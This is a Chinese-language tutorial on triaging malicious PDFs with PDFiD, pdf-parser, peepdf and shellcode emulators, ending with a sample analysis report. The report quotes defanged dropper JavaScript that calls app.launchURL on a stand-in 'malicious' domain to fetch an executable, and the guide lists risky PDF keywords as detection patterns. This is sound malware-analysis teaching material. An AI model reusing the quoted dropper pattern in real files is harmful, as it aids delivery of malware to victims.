利用PDFiD分析恶意PDF文件 是做什么的?
何时使用
- 邮件安全系统标记或用户报告了可疑的PDF附件
- 需要判断PDF是否包含嵌入的JavaScript、shellcode或利用代码
- 在沙箱或分析环境中打开PDF之前进行分流处理
- 从恶意PDF对象中提取嵌入的可执行文件、脚本或URL
- 分析针对Adobe Reader或其他PDF查看器漏洞的PDF利用工具包
请勿用于分析PDF的渲染视觉内容;本技能仅用于PDF文件格式的恶意对象结构分析。
前提条件
- Python 3.8+,并安装Didier Stevens的PDF工具(
pip install pdfid pdf-parser) - 安装peepdf用于交互式PDF分析(
pip install peepdf) - 安装poppler-utils中的pdftotext,用于安全提取文本内容
- 安装YARA及PDF专用规则,用于恶意软件家族识别
- 隔离分析虚拟机,不安装PDF阅读器(防止意外打开)
- 使用CyberChef解码嵌入的Base64、十六进制或deflate流
工作流程
步骤1:使用PDFiD进行初步分流
扫描PDF中可疑的关键词和结构:
# 运行PDFiD以识别可疑元素
pdfid suspect.pdf
# 预期输出分析:
# /JS - JavaScript(高风险)
# /JavaScript - JavaScript对象(高风险)
# /AA - 打开时自动触发的动作(高风险)
# /OpenAction - 文档打开时的动作(高风险)
# /Launch - 启动外部应用程序(高风险)
# /EmbeddedFile - 嵌入文件(中等风险)
# /RichMedia - Flash内容(中等风险)
# /ObjStm - 对象流(用于混淆)
# /URI - URL引用(上下文风险)
# /AcroForm - 交互式表单(中等风险)
# 运行并显示额外详细信息
pdfid -e suspect.pdf
# 运行并解除可疑关键词(重命名)
pdfid -d suspect.pdf
PDFiD风险评估:
━━━━━━━━━━━━━━━━━━━━━
高风险指标(计数 > 0):
/JS, /JavaScript -> 嵌入的JavaScript代码
/AA -> 自动动作(无需用户交互即可触发)
/OpenAction -> 文档打开时运行代码
/Launch -> 可启动外部可执行文件
/JBIG2Decode -> 与CVE-2009-0658利用相关
中等风险指标:
/EmbeddedFile -> 包含嵌入文件(可能是EXE/DLL)
/RichMedia -> Flash/多媒体(Flash利用)
/AcroForm -> 可能包含提交动作的表单
/XFA -> XML表单架构(复杂攻击面)
低风险指标:
/ObjStm -> 对象流(混淆技术)
/URI -> 外部URL引用
/Page -> 页数(仅作参考)
步骤2:使用pdf-parser解析PDF结构
检查PDFiD识别出的可疑对象:
# 列出所有引用JavaScript的对象
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# 列出所有带有OpenAction的对象
pdf-parser --search "/OpenAction" suspect.pdf
# 按ID提取特定对象(示例:对象5)
pdf-parser --object 5 suspect.pdf
# 提取并解压缩流内容
pdf-parser --object 5 --filter --raw suspect.pdf
# 搜索嵌入文件
pdf-parser --search "/EmbeddedFile" suspect.pdf
# 列出所有对象及其类型
pdf-parser --stats suspect.pdf
步骤3:提取并分析嵌入的JavaScript
从PDF对象中提取JavaScript代码:
# 使用pdf-parser提取JavaScript
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# 备选:使用peepdf进行交互式JavaScript提取
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf交互式命令,用于JS分析:
# js_analyse - 提取并显示所有JavaScript代码
# js_beautify - 格式化提取的JavaScript
# js_eval <object> - 在沙箱环境中评估JavaScript
# object <id> - 显示对象内容
# rawobject <id> - 显示原始对象字节
# stream <id> - 显示解压缩的流
# offsets - 显示文件中的对象偏移量
# 用于全面提取PDF JavaScript的Python脚本
import subprocess
import re
# 提取所有流并搜索JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# 查找包含JavaScript引用的对象ID
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# 提取每个包含JavaScript的对象
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== 对象 {obj_id} ===")
print(result.stdout[:2000])
步骤4:分析嵌入的Shellcode
从PDF利用中提取并检查shellcode:
# 提取原始流数据用于shellcode分析
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# 使用scdbg(shellcode调试器)分析shellcode
scdbg /f shellcode.bin
# 备选:使用speakeasy进行shellcode仿真
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# 查看shellcode调用的API
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# 使用CyberChef解码十六进制/Base64编码的shellcode
# 输入:提取的流数据
# 配方:从十六进制 -> 反汇编x86
步骤5:提取嵌入文件和URL
提取嵌入的可执行文件和链接资源:
# 从PDF中提取嵌入文件
import subprocess
import hashlib
# 查找嵌入文件对象
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# 通过搜索MZ头提取嵌入的PE文件
with open("suspect.pdf", "rb") as f:
data = f.read()
# 搜索嵌入的PE文件
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# 验证PE签名
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"在偏移量0x{pos:X}处找到嵌入式PE文件")
# 提取(估计大小或使用PE头)
embedded = data[pos:pos+100000] # 初始提取
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# 从PDF中提取URL
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>\"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
步骤6:生成分析报告
记录PDF分析的所有发现:
分析应涵盖:
- PDFiD分流结果(可疑关键词计数)
- PDF结构异常(对象流、交叉引用问题)
- 提取的JavaScript代码(如需,进行去混淆处理)
- Shellcode分析结果(API调用、网络指标)
- 提取的嵌入文件及其哈希值
- URL和外部引用
- 如果检测到已知利用,进行CVE识别
- YARA规则与已知PDF恶意软件家族的匹配结果
关键概念
| 术语 | 定义 |
|---|---|
| PDF对象 | PDF文件的基本构建块;对象可以包含流(压缩数据)、字典、数组和对其他对象的引用 |
| OpenAction | PDF字典条目,指定文档打开时要执行的动作;常用于触发JavaScript利用 |
| PDF流 | PDF对象内的压缩数据,可以包含JavaScript、图像、嵌入文件或shellcode;通常使用FlateDecode压缩 |
| FlateDecode | 应用于PDF流的Zlib/deflate压缩过滤器;必须解压缩才能分析内容 |
| ObjStm(对象流) | PDF功能,将多个对象存储在一个压缩流中;恶意软件使用它向简单解析器隐藏可疑对象 |
| JBIG2 | PDF中的图像压缩标准;历史利用来源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | Adobe特有的JavaScript扩展,可在PDF文档中用于表单操作、网络访问和操作系统交互 |
工具与系统
- PDFiD:Didier Stevens的工具,用于扫描PDF文档中的可疑关键词和结构,无需解析整个文档
- pdf-parser:PDFiD的配套工具,用于详细的PDF对象提取、流解压缩和内容分析
- peepdf:基于Python的PDF分析工具,提供交互式shell用于对象检查和JavaScript提取
- QPDF:PDF转换工具,用于线性化、解密和重组PDF以便于分析
- scdbg:Shellcode分析工具,模拟x86 shellcode执行并记录API调用
常见场景
场景:分流包含嵌入JavaScript的网络钓鱼PDF
背景:邮件网关标记了一个带有可疑JavaScript指标的PDF附件。安全团队需要确定它包含利用代码还是社会工程重定向。
方法:
- 运行PDFiD确认/JS、/JavaScript和/OpenAction的存在及计数
- 使用pdf-parser提取OpenAction对象并跟踪其引用链
- 从引用的流对象中提取JavaScript代码(应用FlateDecode过滤器)
- 去混淆JavaScript(解码十六进制字符串,解析eval链)
- 确定脚本是否利用了PDF阅读器漏洞(检查堆喷射、ROP链)或执行重定向
- 提取所有URL、IP和嵌入文件作为IOC
- 对样本进行分类:利用(特定CVE)或社会工程(重定向/钓鱼)
陷阱:
- 在标准阅读器中打开PDF,而不是使用命令行工具进行分析
- 忽略隐藏在对象流(/ObjStm)中的JavaScript,PDFiD能检测到但简单解析器会遗漏
- 未在分析前解压缩流(FlateDecode、ASCIIHexDecode、ASCII85Decode过滤器)
- 假设没有/JS就意味着没有JavaScript;代码可以嵌入在表单字段(/AcroForm与/XFA)中
输出格式
PDF恶意软件分析报告
==============================
文件: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
文件大小: 45,312字节
PDF版本: 1.7
PDFiD分流
/JS: 1 [高风险]
/JavaScript: 1 [高风险]
/OpenAction: 1 [高风险]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [混淆]
可疑对象
对象5: /OpenAction -> 引用对象8
对象8: /JavaScript流(FlateDecode,解压缩后2,847字节)
对象12: /ObjStm包含对象15-18
提取的JavaScript
第1层: eval(unescape("%68%65%6C%6C%6F"))
第2层: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// 社会工程重定向,非利用
提取的IOC
URL: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
域名: malicious[.]com, fake-login[.]com
分类
类型: 社会工程(URL重定向)
CVE: 无(未检测到利用代码)
风险: 高(下载可执行payload)
家族: 通用PDF Dropper